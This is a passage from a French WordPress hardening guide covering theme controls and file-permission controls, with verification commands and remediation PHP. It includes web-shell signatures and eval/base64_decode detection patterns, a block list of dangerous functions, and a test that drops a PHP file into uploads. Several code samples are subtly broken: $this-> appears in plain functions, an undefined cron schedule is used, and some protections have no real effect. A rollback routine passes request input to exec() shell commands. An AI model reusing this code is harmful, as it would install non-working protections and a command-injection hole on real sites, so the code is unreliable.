function cleanup_inactive_themes() {\n    $all_themes = wp_get_themes();\n    $active_theme = get_stylesheet();\n    $parent_theme = get_template();\n\n    // Garder seulement le thème actif et son parent (si child theme)\n    $keep_themes = array($active_theme, $parent_theme, 'twentytwentythree');\n\n    foreach ($all_themes as $theme_slug => $theme) {\n        if (!in_array($theme_slug, $keep_themes)) {\n            delete_theme($theme_slug);\n        }\n    }\n}\n// Exécuter lors des mises à jour majeures WordPress\nadd_action('upgrader_process_complete', 'cleanup_inactive_themes');\n

Valeur par défaut : Accumulation de thèmes inactifs

4.1.3 — Child Theme Obligatoire

Niveau : ?
\nRéférence : CIS WordPress 5.3 / NIST 800-53 CM-3
\nMITRE ATT&CK : T1565

Description : Utiliser un child theme préserve les personnalisations lors des mises à jour du thème parent et évite la perte de modifications de sécurité personnalisées.

Vérification :

# Vérifier si child theme utilisé\nwp theme list --status=active --format=json | jq '.[].parent'\n# Examiner structure du thème\nls -la wp-content/themes/$(wp theme list --status=active --field=name)/\n# Vérifier fichier style.css\nhead -10 wp-content/themes/$(wp theme list --status=active --field=name)/style.css\n

Remédiation :
\n1. Créer un child theme :

# Créer répertoire child theme\nPARENT_THEME=$(wp theme list --status=active --field=name)\nCHILD_THEME="${PARENT_THEME}-child"\nmkdir wp-content/themes/$CHILD_THEME\n\n# Créer style.css\ncat > wp-content/themes/$CHILD_THEME/style.css << EOL\n/*\nTheme Name: $CHILD_THEME\nDescription: Child theme de $PARENT_THEME\nTemplate: $PARENT_THEME\nVersion: 1.0\n*/\n\n@import url("../$PARENT_THEME/style.css");\nEOL\n\n# Créer functions.php\ncat > wp-content/themes/$CHILD_THEME/functions.php << 'EOL'\n<?php\nfunction child_theme_enqueue_styles() {\n    wp_enqueue_style('parent-style', get_template_directory_uri() . '/style.css');\n    wp_enqueue_style('child-style', get_stylesheet_directory_uri() . '/style.css', array('parent-style'));\n}\nadd_action('wp_enqueue_scripts', 'child_theme_enqueue_styles');\nEOL\n\n# Activer le child theme\nwp theme activate $CHILD_THEME\n

Valeur par défaut : Thème parent directement modifié

4.1.4 — Détection Thèmes Nulled/Piratés

Niveau : ?
\nRéférence : OWASP A08 / CIS WordPress 5.4 / NIST 800-53 SI-3
\nMITRE ATT&CK : T1505

Description : Les thèmes piratés contiennent souvent des backdoors et malwares. Détecter et éliminer ces thèmes est critique pour la sécurité.

Vérification :

# Scanner code malveillant dans thèmes\nfind wp-content/themes/ -name "*.php" -exec grep -l "eval\\|base64_decode\\|gzinflate\\|str_rot13" {} \\;\n# Vérifier intégrité avec checksums\nwp theme verify-checksums --all\n# Rechercher backdoors connues\ngrep -r "c99\\|r57\\|WSO\\|FilesMan" wp-content/themes/\n

Remédiation :
\n1. Supprimer thèmes suspects :

# Identifier et supprimer thèmes compromis\nfind wp-content/themes/ -name "*.php" -exec grep -l "eval.*base64_decode" {} \\; | head -5\n# Supprimer thème suspect (remplacer par nom réel)\nwp theme delete suspicious-theme\n

Scanner automatisé malware :

#!/bin/bash\n# Script de détection malware thèmes\nMALWARE_PATTERNS="eval.*base64_decode|gzinflate|str_rot13|system.*\\$_|passthru"\n\nfind wp-content/themes/ -name "*.php" | while read file; do\n    if grep -qE "$MALWARE_PATTERNS" "$file"; then\n        echo "SUSPECT: $file"\n        # Quarantaine\n        mv "$file" "$file.quarantine"\n    fi\ndone\n

Validation source thèmes :

function validate_theme_source($theme_slug) {\n    // Vérifier si thème provient du dépôt officiel WordPress\n    $response = wp_remote_get("https://api.wordpress.org/themes/info/1.1/?action=theme_information&request[slug]=$theme_slug");\n\n    if (is_wp_error($response) || wp_remote_retrieve_response_code($response) !== 200) {\n        // Thème non officiel - vérifier intégrité\n        $theme_path = get_theme_root() . "/$theme_slug";\n        $suspicious_files = array();\n\n        foreach (glob("$theme_path/*.php") as $file) {\n            $content = file_get_contents($file);\n            if (preg_match('/(eval|base64_decode|gzinflate).*\\(/', $content)) {\n                $suspicious_files[] = $file;\n            }\n        }\n\n        if (!empty($suspicious_files)) {\n            wp_mail('[email protected]', 'Thème suspect détecté', \n                    "Fichiers suspects dans $theme_slug: " . implode(', ', $suspicious_files));\n        }\n    }\n}\n

Valeur par défaut : Aucune vérification automatique

4.1.5 — Désactivation Éditeur de Thème

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 5.5 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1105

Description : L'éditeur de thème permet la modification de code PHP directement depuis l'administration WordPress. Cette fonction doit être désactivée pour éviter l'injection de code malveillant.

Vérification :

# Vérifier si éditeur désactivé\ngrep "DISALLOW_FILE_EDIT" wp-config.php\n# Tester accès éditeur de thème\ncurl -s https://example.com/wp-admin/theme-editor.php | grep -i "file editing"\n

Remédiation :
\n1. Désactiver l'éditeur dans wp-config.php :

define('DISALLOW_FILE_EDIT', true);\n

Vérifier suppression du menu :

// Vérifier que le menu "Éditeur" n'est plus visible\nadd_action('admin_init', function() {\n    if (current_user_can('edit_themes')) {\n        remove_submenu_page('themes.php', 'theme-editor.php');\n    }\n});\n

Protection supplémentaire via .htaccess :

<Files "theme-editor.php">\nOrder allow,deny\nDeny from all\n</Files>\n<Files "plugin-editor.php">\nOrder allow,deny\nDeny from all\n</Files>\n

Valeur par défaut : Éditeur de thème activé

4.1.6 — Audit Vulnérabilités Thèmes

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 5.6 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : Effectuer des audits réguliers des thèmes contre les bases de vulnérabilités connues pour identifier et corriger rapidement les failles de sécurité.

Vérification :

# Scanner avec WPScan\nwpscan --url https://example.com --enumerate vt --api-token YOUR_TOKEN --no-banner\n# Vérifier base CVE\ncurl -s "https://cve.circl.lu/api/search/wordpress theme" | jq '.[] | select(.summary | contains("theme"))'\n

Remédiation :
\n1. Audit automatisé quotidien :

#!/bin/bash\n# Script d'audit thèmes\nwpscan --url https://example.com --enumerate vt --format json --api-token $API_TOKEN > theme_scan.json\n\n# Analyser résultats\nif jq -e '.themes[].vulnerabilities[]?' theme_scan.json > /dev/null; then\n    echo "ALERTE: Vulnérabilités détectées dans les thèmes"\n    jq '.themes[].vulnerabilities[]?' theme_scan.json | mail -s "Vulnérabilités thèmes" [email protected]\nfi\n

Monitoring continu :

function continuous_theme_monitoring() {\n    $themes = wp_get_themes();\n\n    foreach ($themes as $theme_slug => $theme) {\n        // Vérifier version contre base de vulnérabilités\n        $version = $theme->get('Version');\n        $response = wp_remote_get("https://wpscan.com/api/v3/themes/$theme_slug");\n\n        if (!is_wp_error($response)) {\n            $data = json_decode(wp_remote_retrieve_body($response), true);\n            if (isset($data['vulnerabilities']) && !empty($data['vulnerabilities'])) {\n                // Alerter sur vulnérabilités\n                wp_mail('[email protected]', 'Vulnérabilité thème détectée', \n                        "Vulnérabilité dans $theme_slug version $version");\n            }\n        }\n    }\n}\nwp_schedule_event(time(), 'daily', 'continuous_theme_monitoring');\n

Valeur par défaut : Audits manuels occasionnels

4.1.7 — Validation Code Personnalisé Thèmes

Niveau : ?
\nRéférence : OWASP A03 / CIS WordPress 5.7 / NIST 800-53 SI-10
\nMITRE ATT&CK : T1190

Description : Valider tout code personnalisé ajouté aux thèmes pour s'assurer qu'il respecte les bonnes pratiques de sécurité WordPress et ne contient pas de vulnérabilités.

Vérification :

# Analyser code personnalisé\nfind wp-content/themes/ -name "functions.php" -exec grep -l "add_action\\|add_filter" {} \\;\n# Vérifier échappement des sorties\ngrep -r "echo\\|print" wp-content/themes/ | grep -v "esc_\\|wp_kses"\n# Analyser validation des entrées\ngrep -r "\\$_POST\\|\\$_GET" wp-content/themes/ | grep -v "sanitize"\n

Remédiation :
\n1. Audit sécurisé du code :

function audit_theme_security() {\n    $theme_dir = get_stylesheet_directory();\n    $security_issues = array();\n\n    // Patterns de sécurité à vérifier\n    $patterns = array(\n        'unescaped_output' => '/echo\\s+\\$[^;]*(?!.*esc_)/i',\n        'unsanitized_input' => '/\\$_(POST|GET|REQUEST)\\[[^\\]]+\\](?!.*sanitize)/i',\n        'dangerous_functions' => '/(eval|exec|system|shell_exec|passthru)\\s*\\(/i'\n    );\n\n    foreach (glob("$theme_dir/*.php") as $file) {\n        $content = file_get_contents($file);\n\n        foreach ($patterns as $type => $pattern) {\n            if (preg_match_all($pattern, $content, $matches, PREG_OFFSET_CAPTURE)) {\n                $security_issues[$file][$type] = $matches[0];\n            }\n        }\n    }\n\n    if (!empty($security_issues)) {\n        wp_mail('[email protected]', 'Problèmes sécurité thème détectés', \n                print_r($security_issues, true));\n    }\n\n    return $security_issues;\n}\n

Standards de développement sécurisé :

// Exemple de code sécurisé pour functions.php\nfunction secure_theme_customization() {\n    // Validation et sanitisation correctes\n    if (isset($_POST['custom_field']) && wp_verify_nonce($_POST['nonce'], 'custom_action')) {\n        $safe_value = sanitize_text_field($_POST['custom_field']);\n        update_option('theme_custom_field', $safe_value);\n    }\n\n    // Échappement correct des sorties\n    $option_value = get_option('theme_custom_field', '');\n    echo esc_html($option_value);\n}\n

Valeur par défaut : Code personnalisé non audité

4.1.8 — Protection Fichiers Thème Sensibles

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 5.8 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1005

Description : Protéger l'accès aux fichiers sensibles des thèmes (functions.php, configuration, etc.) contre l'accès web direct non autorisé.

Vérification :

# Tester accès direct aux fichiers thème\ncurl -s https://example.com/wp-content/themes/active-theme/functions.php\ncurl -s https://example.com/wp-content/themes/active-theme/config.php\n# Vérifier permissions fichiers\nls -la wp-content/themes/$(wp theme list --status=active --field=name)/\n

Remédiation :
\n1. Protection via .htaccess dans le thème :

# wp-content/themes/theme-name/.htaccess\n<FilesMatch "\\.(php|inc|conf)$">\nOrder allow,deny\nDeny from all\n</FilesMatch>\n\n# Autoriser seulement index.php et style.css publiquement\n<FilesMatch "^(index\\.php|style\\.css|screenshot\\.(png|jpg))$">\nOrder allow,deny\nAllow from all\n</FilesMatch>\n

En-têtes de sécurité PHP :

// Ajouter en début de functions.php\nif (!defined('ABSPATH')) {\n    exit; // Sortie si accès direct\n}\n\n// Protection supplémentaire\nif (!function_exists('wp_head')) {\n    http_response_code(403);\n    die('Accès direct interdit');\n}\n

Permissions système appropriées :

# Permissions sécurisées pour thèmes\nfind wp-content/themes/ -type f -name "*.php" -exec chmod 644 {} \\;\nfind wp-content/themes/ -type d -exec chmod 755 {} \\;\n# functions.php plus restrictif\nchmod 640 wp-content/themes/*/functions.php\n

Valeur par défaut : Fichiers potentiellement accessibles

4.1.9 — Gestion Versions et Rollback Thèmes

Niveau : ?
\nRéférence : CIS WordPress 5.9 / NIST 800-53 CM-3
\nMITRE ATT&CK : T1565

Description : Maintenir un système de versioning des thèmes et la capacité de rollback rapide en cas de problème lors des mises à jour.

Vérification :

# Historique des versions\nwp theme list --format=json | jq '.[] | {name: .name, version: .version}'\n# Backups existants\nls -la backups/themes/ 2>/dev/null || echo "Pas de backups thèmes"\n

Remédiation :
\n1. Backup automatique avant mises à jour :

#!/bin/bash\n# Script de backup thème avant mise à jour\nTHEME_NAME=$(wp theme list --status=active --field=name)\nBACKUP_DIR="backups/themes/$(date +%Y%m%d_%H%M%S)"\n\nmkdir -p $BACKUP_DIR\ncp -r wp-content/themes/$THEME_NAME $BACKUP_DIR/\necho "Backup thème créé: $BACKUP_DIR"\n\n# Garder seulement les 10 derniers backups\nls -t backups/themes/ | tail -n +11 | xargs -r rm -rf\n

Système de rollback :

function theme_rollback_system() {\n    if (isset($_POST['rollback_theme']) && wp_verify_nonce($_POST['nonce'], 'theme_rollback')) {\n        $backup_path = sanitize_text_field($_POST['backup_path']);\n        $current_theme = get_stylesheet();\n\n        if (is_dir("backups/themes/$backup_path")) {\n            // Backup actuel avant rollback\n            $current_backup = "backups/themes/pre-rollback-" . date('Y-m-d-H-i-s');\n            mkdir($current_backup, 0755, true);\n            exec("cp -r wp-content/themes/$current_theme $current_backup/");\n\n            // Restaurer backup\n            exec("rm -rf wp-content/themes/$current_theme");\n            exec("cp -r backups/themes/$backup_path/$current_theme wp-content/themes/");\n\n            wp_redirect(admin_url('themes.php?rollback=success'));\n            exit;\n        }\n    }\n}\nadd_action('admin_init', 'theme_rollback_system');\n

Valeur par défaut : Pas de système de rollback

4.1.10 — Monitoring Modifications Thèmes

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 5.10 / NIST 800-53 AU-2
\nMITRE ATT&CK : T1070

Description : Surveiller toutes les modifications des fichiers de thèmes pour détecter les changements non autorisés ou l'injection de code malveillant.

Vérification :

# Vérifier intégrité fichiers thème\nfind wp-content/themes/ -name "*.php" -exec md5sum {} \\; > theme_checksums.txt\n# Comparer avec checksums précédents\ndiff theme_checksums_previous.txt theme_checksums.txt\n

Remédiation :
\n1. Monitoring intégrité fichiers :

function monitor_theme_file_integrity() {\n    $theme_dir = get_stylesheet_directory();\n    $stored_hashes = get_option('theme_file_hashes', array());\n    $current_hashes = array();\n    $changes_detected = false;\n\n    foreach (glob("$theme_dir/*.php") as $file) {\n        $relative_path = str_replace($theme_dir . '/', '', $file);\n        $current_hash = md5_file($file);\n        $current_hashes[$relative_path] = $current_hash;\n\n        if (isset($stored_hashes[$relative_path]) && \n            $stored_hashes[$relative_path] !== $current_hash) {\n            // Fichier modifié\n            $changes_detected = true;\n            $this->log_file_change($file, 'modified');\n        } elseif (!isset($stored_hashes[$relative_path])) {\n            // Nouveau fichier\n            $changes_detected = true;\n            $this->log_file_change($file, 'added');\n        }\n    }\n\n    // Vérifier fichiers supprimés\n    foreach ($stored_hashes as $file => $hash) {\n        if (!isset($current_hashes[$file])) {\n            $changes_detected = true;\n            $this->log_file_change("$theme_dir/$file", 'deleted');\n        }\n    }\n\n    if ($changes_detected) {\n        wp_mail('[email protected]', 'Modifications thème détectées', \n                'Des modifications ont été détectées dans les fichiers du thème.');\n    }\n\n    update_option('theme_file_hashes', $current_hashes);\n}\n\nfunction log_file_change($file, $action) {\n    $log_entry = array(\n        'timestamp' => current_time('mysql'),\n        'file' => $file,\n        'action' => $action,\n        'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',\n        'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'\n    );\n\n    error_log('THEME_FILE_CHANGE: ' . json_encode($log_entry));\n}\n\nwp_schedule_event(time(), 'hourly', 'monitor_theme_file_integrity');\n

Valeur par défaut : Modifications non surveillées

4.1.11 — Validation Headers et Métadonnées Thèmes

Niveau : ?
\nRéférence : CIS WordPress 5.11 / NIST 800-53 SI-7
\nMITRE ATT&CK : T1195

Description : Valider les headers et métadonnées des thèmes pour s'assurer de leur authenticité et détecter les modifications malveillantes.

Vérification :

# Examiner headers des thèmes\nhead -20 wp-content/themes/*/style.css\n# Vérifier métadonnées\ngrep -r "Theme Name\\|Version\\|Author" wp-content/themes/*/style.css\n

Remédiation :
\n1. Validation des métadonnées :

function validate_theme_metadata() {\n    $themes = wp_get_themes();\n    $validation_results = array();\n\n    foreach ($themes as $theme_slug => $theme) {\n        $theme_data = array(\n            'name' => $theme->get('Name'),\n            'version' => $theme->get('Version'),\n            'author' => $theme->get('Author'),\n            'description' => $theme->get('Description'),\n            'uri' => $theme->get('ThemeURI')\n        );\n\n        // Vérifier cohérence des métadonnées\n        $issues = array();\n\n        // Version suspecte\n        if (preg_match('/[<>"\\']/', $theme_data['version'])) {\n            $issues[] = 'Version contient des caractères suspects';\n        }\n\n        // Auteur suspect\n        if (preg_match('/(nulled|cracked|free|download)/i', $theme_data['author'])) {\n            $issues[] = 'Auteur suspect (possiblement piraté)';\n        }\n\n        // URI suspecte\n        if (!empty($theme_data['uri']) && !filter_var($theme_data['uri'], FILTER_VALIDATE_URL)) {\n            $issues[] = 'URI invalide';\n        }\n\n        if (!empty($issues)) {\n            $validation_results[$theme_slug] = $issues;\n        }\n    }\n\n    if (!empty($validation_results)) {\n        wp_mail('[email protected]', 'Thèmes avec métadonnées suspectes', \n                print_r($validation_results, true));\n    }\n\n    return $validation_results;\n}\n

Valeur par défaut : Métadonnées non validées

4.1.12 — Contrôle Fonctionnalités Thème

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 5.12 / NIST 800-53 CM-7
\nMITRE ATT&CK : T1505

Description : Auditer et contrôler les fonctionnalités activées par le thème pour s'assurer qu'elles sont nécessaires et sécurisées.

Vérification :

# Analyser fonctionnalités du thème\ngrep -r "add_theme_support\\|remove_theme_support" wp-content/themes/\n# Vérifier hooks et actions\ngrep -r "add_action\\|add_filter" wp-content/themes/*/functions.php\n

Remédiation :
\n1. Audit des fonctionnalités :

function audit_theme_features() {\n    $theme_supports = array();\n    $dangerous_features = array('post-thumbnails', 'custom-header', 'custom-background');\n\n    // Lister toutes les fonctionnalités supportées\n    global $_wp_theme_features;\n    foreach ($_wp_theme_features as $feature => $data) {\n        if (current_theme_supports($feature)) {\n            $theme_supports[] = $feature;\n        }\n    }\n\n    // Analyser actions/filters du thème\n    $theme_hooks = array();\n    $functions_file = get_stylesheet_directory() . '/functions.php';\n\n    if (file_exists($functions_file)) {\n        $content = file_get_contents($functions_file);\n        preg_match_all('/add_(action|filter)\\s*\\(\\s*[\\'"]([^\\'"]+)[\\'"]/', $content, $matches);\n\n        for ($i = 0; $i < count($matches[0]); $i++) {\n            $theme_hooks[] = array(\n                'type' => $matches[1][$i],\n                'hook' => $matches[2][$i]\n            );\n        }\n    }\n\n    $audit_report = array(\n        'theme_supports' => $theme_supports,\n        'theme_hooks' => $theme_hooks,\n        'timestamp' => current_time('mysql')\n    );\n\n    update_option('theme_features_audit', $audit_report);\n    return $audit_report;\n}\n

Désactivation fonctionnalités non nécessaires :

function disable_unnecessary_theme_features() {\n    // Désactiver fonctionnalités potentiellement dangereuses\n    remove_theme_support('custom-header');\n    remove_theme_support('custom-background');\n\n    // Désactiver éditeur de fichiers si pas déjà fait\n    if (!defined('DISALLOW_FILE_EDIT')) {\n        define('DISALLOW_FILE_EDIT', true);\n    }\n\n    // Retirer générateur WordPress du header\n    remove_action('wp_head', 'wp_generator');\n}\nadd_action('after_setup_theme', 'disable_unnecessary_theme_features');\n

Valeur par défaut : Toutes les fonctionnalités thème activées

4.1.13 — Sécurisation Assets Thème

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 5.13 / NIST 800-53 SC-8
\nMITRE ATT&CK : T1071

Description : Sécuriser le chargement des assets du thème (CSS, JS, images) pour prévenir les attaques XSS et l'injection de contenu malveillant.

Vérification :

# Analyser chargement des assets\ngrep -r "wp_enqueue_\\|wp_register_" wp-content/themes/*/functions.php\n# Vérifier intégrité des assets\nfind wp-content/themes/ -name "*.js" -exec grep -l "eval\\|document.write" {} \\;\n

Remédiation :
\n1. Chargement sécurisé des assets :

function secure_theme_assets() {\n    // Utiliser HTTPS pour tous les assets\n    if (is_ssl()) {\n        // Forcer HTTPS pour les assets externes\n        add_filter('script_loader_src', 'force_ssl_assets');\n        add_filter('style_loader_src', 'force_ssl_assets');\n    }\n\n    // Ajouter intégrité pour assets externes\n    add_filter('script_loader_tag', 'add_integrity_to_scripts', 10, 3);\n    add_filter('style_loader_tag', 'add_integrity_to_styles', 10, 4);\n}\n\nfunction force_ssl_assets($src) {\n    return str_replace('http://', 'https://', $src);\n}\n\nfunction add_integrity_to_scripts($tag, $handle, $src) {\n    // Ajouter SRI pour scripts externes critiques\n    $external_scripts = array('jquery', 'bootstrap');\n\n    if (in_array($handle, $external_scripts) && strpos($src, home_url()) === false) {\n        // Calculer hash SRI si nécessaire\n        $integrity = get_option("script_integrity_$handle");\n        if ($integrity) {\n            $tag = str_replace('<script ', "<script integrity='$integrity' crossorigin='anonymous' ", $tag);\n        }\n    }\n\n    return $tag;\n}\n\nadd_action('wp_enqueue_scripts', 'secure_theme_assets');\n

Validation assets du thème :

function validate_theme_assets() {\n    $theme_dir = get_stylesheet_directory();\n    $suspicious_patterns = array(\n        'eval(',\n        'document.write(',\n        'innerHTML',\n        'outerHTML'\n    );\n\n    foreach (glob("$theme_dir/*.js") as $js_file) {\n        $content = file_get_contents($js_file);\n\n        foreach ($suspicious_patterns as $pattern) {\n            if (strpos($content, $pattern) !== false) {\n                wp_mail('[email protected]', 'Asset JavaScript suspect', \n                        "Pattern suspect '$pattern' trouvé dans $js_file");\n            }\n        }\n    }\n}\n

Valeur par défaut : Chargement assets sans validation

4.1.14 — Isolation Thème Sandbox

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 5.14 / NIST 800-53 SC-7
\nMITRE ATT&CK : T1505

Description : Implémenter des mécanismes d'isolation pour limiter l'impact d'une compromission du thème sur le reste du système.

Vérification :

# Vérifier isolation du thème\nls -la wp-content/themes/*/\n# Permissions et propriétaire\nstat wp-content/themes/*/functions.php\n

Remédiation :
\n1. Isolation par permissions :

# Créer utilisateur dédié pour thèmes\nsudo useradd -r -s /bin/false wp-theme-user\nsudo chown -R wp-theme-user:wp-theme-user wp-content/themes/\n# Permissions restrictives\nfind wp-content/themes/ -type f -exec chmod 644 {} \\;\nfind wp-content/themes/ -type d -exec chmod 755 {} \\;\n

Limitation des capacités thème :

function restrict_theme_capabilities() {\n    // Désactiver fonctions dangereuses pour les thèmes\n    $dangerous_functions = array('exec', 'system', 'shell_exec', 'passthru', 'eval');\n\n    foreach ($dangerous_functions as $function) {\n        if (function_exists($function)) {\n            // Log tentative d'utilisation\n            add_filter("pre_option_active_plugins", function($plugins) use ($function) {\n                $backtrace = debug_backtrace();\n                foreach ($backtrace as $trace) {\n                    if (isset($trace['file']) && strpos($trace['file'], '/themes/') !== false) {\n                        error_log("SECURITY: Tentative d'utilisation de $function dans thème: " . $trace['file']);\n                        wp_die("Fonction $function interdite dans les thèmes");\n                    }\n                }\n                return $plugins;\n            });\n        }\n    }\n}\nadd_action('after_setup_theme', 'restrict_theme_capabilities');\n

Valeur par défaut : Pas d'isolation spécifique

4.1.15 — Documentation et Maintenance Thèmes

Niveau : ?
\nRéférence : CIS WordPress 5.15 / NIST 800-53 CM-8
\nMITRE ATT&CK : T1070

Description : Maintenir une documentation complète des thèmes, leurs personnalisations et un planning de maintenance régulier.

Vérification :

# Documentation existante\nfind . -name "*theme*doc*" -o -name "*README*" | grep -i theme\n# Historique des modifications\nls -la wp-content/themes/*/changelog.txt 2>/dev/null\n

Remédiation :
\n1. Documentation automatisée :

function generate_theme_documentation() {\n    $themes = wp_get_themes();\n    $documentation = array();\n\n    foreach ($themes as $theme_slug => $theme) {\n        $theme_info = array(\n            'name' => $theme->get('Name'),\n            'version' => $theme->get('Version'),\n            'description' => $theme->get('Description'),\n            'author' => $theme->get('Author'),\n            'template' => $theme->get('Template'),\n            'active' => ($theme_slug === get_stylesheet()),\n            'parent_theme' => $theme->parent() ? $theme->parent()->get('Name') : null,\n            'customizations' => $this->get_theme_customizations($theme_slug),\n            'last_modified' => $this->get_theme_last_modified($theme_slug),\n            'security_scan_date' => get_option("theme_scan_date_$theme_slug", 'Never')\n        );\n\n        $documentation[$theme_slug] = $theme_info;\n    }\n\n    // Générer rapport\n    file_put_contents(ABSPATH . 'theme-documentation.json', \n                     json_encode($documentation, JSON_PRETTY_PRINT));\n\n    return $documentation;\n}\n\nfunction get_theme_customizations($theme_slug) {\n    $customizations = array();\n    $theme_dir = get_theme_root() . "/$theme_slug";\n\n    // Vérifier fichiers personnalisés\n    $custom_files = array('functions.php', 'style.css', 'custom.css');\n\n    foreach ($custom_files as $file) {\n        if (file_exists("$theme_dir/$file")) {\n            $customizations[$file] = array(\n                'size' => filesize("$theme_dir/$file"),\n                'modified' => date('Y-m-d H:i:s', filemtime("$theme_dir/$file"))\n            );\n        }\n    }\n\n    return $customizations;\n}\n

Planning de maintenance :

function schedule_theme_maintenance() {\n    // Planifier vérifications mensuelles\n    if (!wp_next_scheduled('monthly_theme_maintenance')) {\n        wp_schedule_event(time(), 'monthly', 'monthly_theme_maintenance');\n    }\n}\n\nfunction monthly_theme_maintenance() {\n    // Audit complet des thèmes\n    $audit_results = array(\n        'vulnerability_scan' => $this->scan_theme_vulnerabilities(),\n        'file_integrity' => $this->check_theme_integrity(),\n        'performance_impact' => $this->measure_theme_performance(),\n        'recommendations' => $this->generate_maintenance_recommendations()\n    );\n\n    // Envoyer rapport de maintenance\n    wp_mail('[email protected]', 'Rapport maintenance thèmes mensuel', \n            wp_json_encode($audit_results, JSON_PRETTY_PRINT));\n}\n\nadd_action('init', 'schedule_theme_maintenance');\nadd_action('monthly_theme_maintenance', 'monthly_theme_maintenance');\n

Valeur par défaut : Documentation manuelle et incomplète

S5 — PERMISSIONS FICHIERS & RÉPERTOIRES (20 contrôles)

Cette section traite de la sécurisation des permissions et de l'accès aux fichiers et répertoires WordPress.

5.1.1 — wp-config.php Permissions Restrictives

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 6.1 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1005

Description : Le fichier wp-config.php contient des informations critiques (credentials DB, clés de sécurité). Il doit avoir des permissions très restrictives et être protégé contre l'accès web.

Vérification :

# Vérifier permissions wp-config.php\nls -la wp-config.php\nstat -c "%a %n" wp-config.php\n# Test accès web\ncurl -s https://example.com/wp-config.php | head -5\ncurl -s https://example.com/wp-config.php.bak | head -5\n

Remédiation :
\n1. Permissions système appropriées :

# Permissions restrictives pour wp-config.php\nchmod 600 wp-config.php\nchown www-data:www-data wp-config.php\n# Vérifier résultat\nls -la wp-config.php\n

Protection web via .htaccess :

# .htaccess racine\n<Files wp-config.php>\nOrder allow,deny\nDeny from all\n</Files>\n\n<Files wp-config.php.bak>\nOrder allow,deny  \nDeny from all\n</Files>\n\n<Files "wp-config*">\nOrder allow,deny\nDeny from all\n</Files>\n

Déplacement hors web root :

# Déplacer wp-config.php un niveau au-dessus\nmv wp-config.php ../wp-config.php\n# WordPress le trouvera automatiquement\n

Valeur par défaut : 644 (lisible par tous)

5.1.2 — .htaccess Permissions et Protection

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 6.2 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1005

Description : Le fichier .htaccess contrôle la configuration du serveur web. Il doit être protégé en écriture et contre la modification non autorisée pour maintenir les règles de sécurité.

Vérification :

# Vérifier permissions .htaccess\nls -la .htaccess\nstat -c "%a %n" .htaccess\n# Vérifier contenu\ncat .htaccess | head -10\n

Remédiation :
\n1. Permissions appropriées :

# Lecture seule pour .htaccess\nchmod 644 .htaccess\nchown www-data:www-data .htaccess\n# Immutable (optionnel, nécessite droits root)\nsudo chattr +i .htaccess\n

Protection dans .htaccess lui-même :

# Auto-protection du .htaccess\n<Files .htaccess>\nOrder allow,deny\nDeny from all\n</Files>\n\n# Protection fichiers de configuration\n<FilesMatch "\\.(htaccess|htpasswd|ini|log|sh|inc|bak)$">\nOrder allow,deny\nDeny from all\n</FilesMatch>\n

Monitoring modifications :

function monitor_htaccess_changes() {\n    $htaccess_file = ABSPATH . '.htaccess';\n    $stored_hash = get_option('htaccess_hash');\n\n    if (file_exists($htaccess_file)) {\n        $current_hash = md5_file($htaccess_file);\n\n        if ($stored_hash && $stored_hash !== $current_hash) {\n            // .htaccess modifié\n            wp_mail('[email protected]', '.htaccess modifié', \n                    'Le fichier .htaccess a été modifié. Vérifiez les changements.');\n        }\n\n        update_option('htaccess_hash', $current_hash);\n    }\n}\nwp_schedule_event(time(), 'hourly', 'monitor_htaccess_changes');\n

Valeur par défaut : 644 (modifiable par le serveur web)

5.1.3 — Répertoire wp-content/uploads Sécurisé

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 6.3 / NIST 800-53 SI-3
\nMITRE ATT&CK : T1105

Description : Le répertoire uploads est souvent ciblé pour l'upload de webshells. L'exécution PHP doit y être désactivée et les types de fichiers strictement contrôlés.

Vérification :

# Tester exécution PHP dans uploads\necho "<?php echo 'PHP executable'; ?>" > wp-content/uploads/test.php\ncurl -s https://example.com/wp-content/uploads/test.php\nrm wp-content/uploads/test.php\n# Vérifier .htaccess uploads\nls -la wp-content/uploads/.htaccess\n

Remédiation :
\n1. Désactiver exécution PHP via .htaccess dans wp-content/uploads/
\n2. Permissions appropriées : chmod 755 uploads/, fichiers 644
\n3. Validation types MIME stricte via hooks WordPress

Valeur par défaut : Exécution PHP possible

5.1.4 — Désactivation Directory Listing

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 6.4 / NIST 800-53 CM-7
\nMITRE ATT&CK : T1083

Description : Le directory listing révèle la structure des fichiers aux attaquants. Il doit être désactivé sur tous les répertoires WordPress pour empêcher la reconnaissance.

Vérification :

# Tester directory listing sur différents répertoires\ncurl -s https://example.com/wp-content/ | grep -i "index of"\ncurl -s https://example.com/wp-includes/ | grep -i "index of"\ncurl -s https://example.com/wp-content/themes/ | grep -i "index of"\n

Remédiation :
\n1. Désactivation globale via .htaccess : Options -Indexes
\n2. Fichiers index.php vides dans répertoires sensibles
\n3. Configuration serveur Nginx : autoindex off

Valeur par défaut : Directory listing souvent activé

5.1.5 — Protection wp-includes

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 6.5 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1005

Description : Le répertoire wp-includes contient le cœur de WordPress et ne devrait pas être accessible directement via le web, sauf pour les assets nécessaires.

Vérification :

# Tester accès direct aux fichiers wp-includes\ncurl -s https://example.com/wp-includes/version.php\ncurl -s https://example.com/wp-includes/wp-db.php\n# Vérifier assets légitimes\ncurl -s -I https://example.com/wp-includes/css/admin-bar.min.css\n

Remédiation :
\n1. Protection sélective wp-includes via .htaccess
\n2. Bloquer .php, autoriser CSS/JS/images
\n3. Hooks PHP pour bloquer accès direct

Valeur par défaut : Accès direct possible

S6 — BASE DE DONNÉES (20 contrôles)

